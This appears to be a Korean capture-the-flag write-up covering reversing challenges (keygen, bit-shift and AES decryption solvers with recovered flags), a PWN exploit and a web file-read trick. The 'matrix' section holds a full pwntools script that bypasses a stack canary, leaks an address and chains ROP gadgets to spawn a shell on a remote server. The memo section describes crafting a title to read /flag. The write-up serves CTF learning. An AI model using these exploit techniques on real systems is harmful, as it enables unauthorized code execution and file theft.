(REV)
Crack Space
MFC 로 만든 keygen 문제이다.
아마 2바이트인 유니코드를 사용하는데,
플레그 포멧 안에 있는 글자의 길이는 31 이고,
0 부터 31까지 반복문을 돌면서
i 가 홀수 → 해당 인덱스와 다른값이랑 xor
i 가 짝수 → 문자열 뒤집기
위와 같은 암호화를 진행한다.
[0, 15, 0, 2, 0, 13, 0, 4, 0, 11, 0, 6, 0, 9, 0, 8, 0, 7, 0, 10, 0, 5, 0, 12, 0, 3, 0, 14, 0, 1, 0]
이 순서로 암호화 되는데, 띄엄띄엄 암호화된다. ㅋㅋ
뒤에서나 앞에서나 돌면서 똑같이 한 번 더 xor 해주면 풀린다.
solve.py
from pwn import u32
cmp = [0x53, 0x0, 0x0, 0x0, 0xa5, 0x0, 0x0, 0x0, 0x6d, 0x0, 0x0, 0x0, 0xde, 0x0, 0x0, 0x0, 0x6c, 0x0, 0x0, 0x0, 0x18, 0x0, 0x0, 0x0, 0x5f, 0x0, 0x0, 0x0, 0x8d, 0x0, 0x0, 0x0, 0x65, 0x0, 0x0, 0x0, 0x44, 0x0, 0x0, 0x0, 0x67, 0x0, 0x0, 0x0, 0xcc, 0x0, 0x0, 0x0, 0x6e, 0x0, 0x0, 0x0, 0x19, 0x0, 0x0, 0x0, 0x62, 0x0, 0x0, 0x0, 0x25, 0x0, 0x0,
0x0, 0x70, 0x0, 0x0, 0x0, 0x77, 0x0, 0x0, 0x0, 0x73, 0x0, 0x0, 0x0, 0x65, 0x0, 0x0, 0x0, 0x5f, 0x0, 0x0, 0x0, 0x17, 0x0, 0x0, 0x0, 0x30, 0x0, 0x0, 0x0, 0x67, 0x0, 0x0, 0x0, 0x64, 0x0, 0x0, 0x0, 0xbb, 0x0, 0x0, 0x0, 0x4a, 0x0, 0x0, 0x0, 0x1f, 0x0, 0x0, 0x0, 0x62, 0x0, 0x0, 0x0, 0xff, 0x0, 0x0, 0x0, 0x29, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
cmp = [cmp[4*x] for x in range(len(cmp)//4)][:-1]
box = [0xd1, 0x95, 0x0, 0x0, 0x16, 0x6d, 0x0, 0x0, 0x65, 0x9d, 0x0, 0x0, 0x56, 0xb3, 0x0, 0x0, 0x65, 0xd7, 0x0, 0x0, 0x11, 0x1, 0x0, 0x0, 0x5c, 0x5c, 0x0, 0x0, 0x30, 0xa3, 0x0, 0x0, 0x48, 0x1d, 0x0, 0x0, 0xa9, 0x62, 0x0, 0x0, 0x47, 0xc5, 0x0, 0x0, 0xc3, 0x7c, 0x0, 0x0, 0xa3, 0x90, 0x0, 0x0, 0x27, 0x73, 0x0, 0x0, 0x7c, 0xf1, 0x0, 0x0, 0xcc,
0x6b, 0x0, 0x0, 0x3c, 0x9f, 0x0, 0x0, 0x1a, 0xd7, 0x0, 0x0, 0x28, 0xdb, 0x0, 0x0, 0xe7, 0x3c, 0x0, 0x0, 0x9, 0xa2, 0x0, 0x0, 0x39, 0xb1, 0x0, 0x0, 0xf7, 0x94, 0x0, 0x0, 0x70, 0xf6, 0x0, 0x0, 0xef, 0x8a, 0x0, 0x0, 0xe4, 0xa7, 0x0, 0x0, 0xc5, 0x6b, 0x0, 0x0, 0xcd, 0x4e, 0x0, 0x0, 0x82, 0xab, 0x0, 0x0, 0x16, 0xed, 0x0, 0x0, 0xaf, 0x95, 0x0, 0x0]
box = list(map(lambda x: u32(bytes(box[x:x+4])), range(0, 124, 4)))
print(box)
for i in range(30, -1, -1):
if i % 2 == 0:
cmp = cmp[::-1]
else:
cmp[i] ^= box[i] >> 15 ^ box[box[i] % 0x1f]
cmp[i] &= 0xff
print(cmp)
print("".join(list(map(chr, cmp))))
print(len(box))
self
흠..
입력한 문자열을 5글자씩 가져와서 이 입력값을 바탕으로 쉬프트연산 한 뒤 각각의 인덱스를 만든다. 입력한 문자열 전체에 대해 해당 인덱스 8개에 해당하는 값들을 ptr 에 집어넣는다.
플레그가 32바이트니까 7번 반복한다.
flag prefix (hspace{
) 를 알고있으니,
먼저 이 값을 바탕으로 인덱스를 구해 ptr 의 8글자를 원래 인덱스로 돌려놓는다.
그리고 그 값을 바탕으로 이 과정을 반복한다.
hspace{||||7h1rty|w0|1th_f|4g}”
그러면 | 를 제외한 나머지 플래그를 어느정도 복구할 수 있다.
f|4g → f14g, fl4g
, 내가 문제를 내도 fl4g 라고 할 것 같아서 게싱
|1th -> w1th
, w 으로 게싱
7h1rty|w0 -> 7h1rtytw0
, 약간 긴가민가 했는데 2022년이니까 t 로 게싱해서
hspace{||||_7h1rtytw0_w1th_fl4g}”
최종적으로 나온 플레그는 위와 같다.
md5 해시가 주어지니 그걸 바탕으로 4바이트 브루트포스 하면 다음의 플레그가 나온다.
hspace{b453_7h1rtytw0_w1th_fl4g}
solve.py
import string
from hashlib import md5
flag = b"""hsh1ht_a
7_4wchs_
{hrw1_sy
15_bt4a1
{sr117_0
hsrw7fs0
74gt""".split(b"\n")
print(flag)
tmp = 5
def _1209(x, y): return x << (~y+1) if y < 0 else x >> y
# = b"hspace{abcdefghijklmnopqrstuvwxyz}"
# 0 0 1 1 2 3 3 4
# f = [0xff]*32
# f[0] = ord("h")
# f[1] = ord("s")
# f[2] = ord("p")
# f[3] = ord("a")
# f[4] = ord("c")
# f[5] = ord("e")
# f[6] = ord("{")
# f[31] = ord("}")
# for k in range(7):
# if k == 6:
# tmp = 2
# for i in range(8):
# v8 = 5*i//8
# v9 = 3-5*i % 8
# if v8 >= tmp:
# break
# if f[v8+5*k] != 0xff:
# v6 = _1209(f[v8+5*k], v9)
# if v9 < 0 and v8 < tmp-1:
# if f[v8+5*k] == 0xff:
# continue
# v6 |= _1209(f[v8+5*k+1], v9+8)
# print(f"flag[{v8}] ({chr(f[v8+5*k])}), {v6}")
# if f[v6 & 0x1f] == 0xff:
# print(f"{chr(flag[k][i])} to flag[{v6&0x1f}]")
# f[v6 & 0x1f] = flag[k][i]
# print(''.join(list(map(chr, f))))
# print(f)
flag_hash = "7d8c56232a5ec1cea022d7ea2ce658d4"
flag = b"hspace{||||_7h1rtytw0_w1th_fl4g}"
s = string.printable[:-3]
s = s.encode()
for i in s:
for j in s:
for k in s:
for l in s:
if md5(flag[:7]+bytes([i, j, k, l])+flag[11:]).hexdigest() == flag_hash:
print(flag[:7]+bytes([i, j, k, l])+flag[11:])
exit(0)
# hspace{b453_7h1rtytw0_w1th_fl4g}
SEA
# .zsh_history : 1642261864:0;python3 main.py **FIND_THE_FLAG** 1337
여기에 이렇게 seed 값이 적혀있다.
그래서 AES key, iv 를 구할 수 있고, ror, rol 몇 번 했는지 알 수 있다.
solve.py
# .zsh_history : 1642261864:0;python3 main.py **FIND_THE_FLAG** 1337
import binascii
import sys
import base64
import random
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import bitstring
def push(data):
data.rol(1)
return data
def pop(data):
data.ror(1)
return data
def custom_choice(length):
words = string.printable
res = ''
for _ in range(length):
res += random.choice(words)
return res
def custom_number(boundary1, boundary2):
return random.randint(boundary1, boundary2)
if __name__ == "__main__":
seed = 1337
random.seed(1337)
key = custom_choice(32).encode()
iv = custom_choice(16).encode()
print(key)
print(iv)
in_cipher = bitstring.BitArray(
hex='0x'+'f52d3924c5a5551d99ddbd48c8e11955d8e1e55519e4d0e5892db1556599d5e9d5ad95e904d551e9393925bc')
r1 = custom_number(5, 15)
r2 = custom_number(6, 15)
for j in range(1, r2):
in_cipher = push(in_cipher)
for i in range(1, r1):
in_cipher = pop(in_cipher)
print(AES.new(key, AES.MODE_CBC, iv).decrypt(
base64.b64decode(binascii.unhexlify(str(in_cipher)[2:]))))
(PWN)
matrix
보호기법은 canary, pie 정도 걸려있다.
원하는 사이즈 만큼의 N*N 행렬을 입력받고, 백터와 곱한 뒤 행렬곱을 출력해준다.
사이즈에 제한은 없으나, 버퍼는 64*64 으로 선언되어있으니,
사이즈에 65 를 입력하고
rbp-0x8018 + 512*i + 8*j
위 식으로 canary, return address 에 해당하는 offset 은 - 를 입력해 아무 값도 들어가지 않게 한다.
나머지는 0으로 채워준다.
canary 위치 : m[64][1]
ret 위치 : m[64][3]
백터에는 j 값이 3일 때만 1으로, 나머지는 0을 입력하면
return address 만 leak 된다.
이 후 다시 진행하여
m[64][3] 부터 ROP 해주면 쉘을 딸 수 있다.
ex.py
from pwn import *
import sys
if sys.argv.__len__() > 1:
r = remote("112.161.27.49", 30002)
else:
r = process("./matrix")
context.log_level = 'debug'
r.sendlineafter("Size: ", "65")
for j in range(65):
for i in range(65):
if j == 64 and i == 3:
r.sendlineafter(" = ", "-")
elif j == 64 and i == 1:
r.sendlineafter(" = ", "-")
else:
r.sendlineafter(" = ", "0")
for j in range(65):
if j == 3:
r.sendlineafter(" = ", "1")
else:
r.sendlineafter(" = ", "0")
r.recvuntil("Result: ")
base = int(r.recvline().split()[-2])-0x0270b3
prdi = 0x0000000000026b72+base
system = 0x055410+base
binsh = 0x1b75aa+base
log.info(hex(base))
r.sendlineafter("[y/N] ", "y")
r.sendlineafter("Size: ", "65")
for j in range(65):
for i in range(65):
if j == 64 and i == 3:
r.sendlineafter(" = ", str(prdi))
elif j == 64 and i == 4:
r.sendlineafter(" = ", str(binsh))
elif j == 64 and i == 5:
r.sendlineafter(" = ", str(prdi+1))
elif j == 64 and i == 6:
r.sendlineafter(" = ", str(system))
elif j == 64 and i == 1:
r.sendlineafter(" = ", "-")
else:
r.sendlineafter(" = ", "0")
for j in range(65):
if j == 3:
r.sendlineafter(" = ", "1")
else:
r.sendlineafter(" = ", "0")
r.recvuntil("Result: ")
r.recvline()
r.sendlineafter("[y/N] ", "N")
r.interactive()
(WEB)
babyphp
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
memo
닉네임을 ㅁㄴㅇㄹ 으로 하고 title 에 없는 파일인 ㅁㄴㅇㄹf 을 넘겨주면 위와 같은 오류가 뜬다.
파일명은 base64 encoding 돼서 저장된다.
닉네임을 빈칸으로 가입하고, title 에 base64 인코딩했을 때 flag 라고 뜨는 ~V%a0
를 입력해주면
/flag
파일을 읽을 수 있다.